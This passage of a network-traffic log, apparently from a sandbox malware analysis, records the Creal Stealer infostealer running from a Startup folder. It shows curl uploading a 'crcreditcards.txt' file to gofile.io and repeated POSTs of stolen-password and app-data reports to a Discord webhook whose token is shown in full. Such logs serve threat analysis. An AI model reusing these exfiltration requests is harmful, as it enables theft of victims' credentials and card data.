                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498989
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lQbYUEQvUxh4unl42W32h2hvnzy%2FVE1VhKAcnSHKgzNI8vf6kiPw8L9dSBXiNd7aOqwu5g1up0OAin%2BSbGYDUlB08twXNlcOERMZCgRbsOevk%2FG02SBkLrCfC5dK"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=76024ff7c673dd46b2083c4197580eab4ea9b999-1735498988; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=Ja1hOyMgMitpJaE__uQf1KC8kG3HAw68YQJA5aX7UMI-1735498988174-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c634b418c4e-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:08 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        29192.168.2.44980531.14.70.2454437092C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:08 UTC198OUTPOST /uploadFile HTTP/1.1
                                                                                                                                                                                                                                        Host: store4.gofile.io
                                                                                                                                                                                                                                        User-Agent: curl/7.83.1
                                                                                                                                                                                                                                        Accept: */*
                                                                                                                                                                                                                                        Content-Length: 195
                                                                                                                                                                                                                                        Content-Type: multipart/form-data; boundary=------------------------5fb1dacc8d3b9f42
                                                                                                                                                                                                                                        2024-12-29 19:03:08 UTC195OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 35 66 62 31 64 61 63 63 38 64 33 62 39 66 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 63 72 65 64 69 74 63 61 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 35 66 62 31 64 61 63 63 38 64 33 62 39 66 34 32 2d 2d 0d 0a
                                                                                                                                                                                                                                        Data Ascii: --------------------------5fb1dacc8d3b9f42Content-Disposition: form-data; name="file"; filename="crcreditcards.txt"Content-Type: text/plain--------------------------5fb1dacc8d3b9f42--
                                                                                                                                                                                                                                        2024-12-29 19:03:09 UTC449INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Server: nginx/1.27.1
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:09 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 732
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization
                                                                                                                                                                                                                                        Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
                                                                                                                                                                                                                                        Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                        Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
                                                                                                                                                                                                                                        2024-12-29 19:03:09 UTC732INData Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 35 34 39 38 39 38 39 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 44 4c 6f 69 62 4e 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 75 66 41 79 75 30 6e 70 34 38 7a 62 5a 66 64 4b 6a 39 6f 4b 6e 67 55 57 6f 70 48 76 4d 74 50 62 22 2c 22 69 64 22 3a 22 38 34 34 33 37 36 34 62 2d 30 64 34 36 2d 34 66 34 64 2d 62 33 39 63 2d 31 65 37 34 34 33 64 35 39 61 63 33 22 2c 22 6d 64 35 22 3a 22 64 34 31 64 38 63 64 39 38 66 30 30 62 32 30 34 65 39 38 30 30 39 39 38 65 63 66 38 34 32 37 65 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 70 6c 61 69 6e 22 2c 22 6d 6f 64 54 69 6d 65 22 3a 31 37 33 35 34 39 38 39 38 39 2c
                                                                                                                                                                                                                                        Data Ascii: {"data":{"createTime":1735498989,"downloadPage":"https://gofile.io/d/DLoibN","guestToken":"ufAyu0np48zbZfdKj9oKngUWopHvMtPb","id":"8443764b-0d46-4f4d-b39c-1e7443d59ac3","md5":"d41d8cd98f00b204e9800998ecf8427e","mimetype":"text/plain","modTime":1735498989,


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        30192.168.2.449806162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:09 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 420
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:09 UTC420OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal
                                                                                                                                                                                                                                        2024-12-29 19:03:09 UTC1259INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:09 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498990
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xokVQfuvoAClj1c%2ByMqPdjrzg1Zr9Gw2VfYw8z8123Z5fNoPD4%2Fu%2BJILF%2BYGmQi0Iy6CW%2BHPi3ppDvOsypNvKWZVz0gzbKzGbD2cfdTRna6zeQzuZt5PX6qwSRsw"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=6ae2029e6d62e7c4d01080c22969844e20f5513b-1735498989; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=Lczx2jYGdoVNX3XRIDeW71T0puvRCLmtqEeDWUYtWyY-1735498989565-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c6c6dcac43b-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:09 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        31192.168.2.449811162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:09 UTC333OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 1787
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:09 UTC1787OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | Password Stealer", "description": "**Found**:\n\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> \u2022 **0** Passwords Found\n<a:CH_IconArrowRi
                                                                                                                                                                                                                                        2024-12-29 19:03:10 UTC1251INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:09 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 3
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498991
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iDOvtni0VwcIGnbYbPwH4DsdnEDV0MP4ymC8Vq3X4QS1bpwKRxutQb0GONB5mnM8ujraBCQn4i2UQ13SeKEtXYqMMKGV4PS%2FWIEFj0wgQVF6Rwpdlp4LG37XOWGP"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=6ae2029e6d62e7c4d01080c22969844e20f5513b-1735498989; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=dqOyUfTbJkXOw06SOns21wWU9LBc7MknpuXaV2iB.us-1735498989958-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c6e4ab141fb-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:10 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        32192.168.2.449813162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:11 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 420
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:11 UTC420OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal
                                                                                                                                                                                                                                        2024-12-29 19:03:11 UTC1259INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:11 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498992
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uCRmBRF8aPSMLa2pli4fc8mQ6bjRNruDAiJAaePSy%2BP1NKqG%2BmWTgY590J%2Bq6i97xFPNK36CGVEp3zpkDxhHUZwX6g5%2FXyr7MGZhLm7owWaCpZQFz%2Bdgl0UPlSvi"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=3abb171b141d78de30efa618112c77a211c14849-1735498991; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=PIiBxOZSEMWRtZ6KlEsfGNbUdS7i2dK3KICs.cGrzJk-1735498991459-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c782e3d438c-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:11 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        33192.168.2.449814162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:11 UTC333OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 1787
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:11 UTC1787OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | Password Stealer", "description": "**Found**:\n\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> \u2022 **0** Passwords Found\n<a:CH_IconArrowRi
                                                                                                                                                                                                                                        2024-12-29 19:03:12 UTC1253INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:11 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 3
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498993
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e0KIqW47IG6PsgHSRgkbiHgd63Qf0tLBI96qeGHVtrKAMxf%2BXrEZpBxXbII7cZSQCpliW93BlUyIKMYr7IfEGzVgf%2BqUQqSRnN9gmu2CCfmYpws5vWMSLChNs55W"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=3abb171b141d78de30efa618112c77a211c14849-1735498991; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=rk_XeBQB43AsWEzr_p3i6OYMloKE0dQslHP6ElTH6bc-1735498991847-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c7a59854241-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:12 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        34192.168.2.449819162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:12 UTC333OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 1787
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:12 UTC1787OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | Password Stealer", "description": "**Found**:\n\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> \u2022 **0** Passwords Found\n<a:CH_IconArrowRi
                                                                                                                                                                                                                                        2024-12-29 19:03:12 UTC1257INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:12 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498993
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
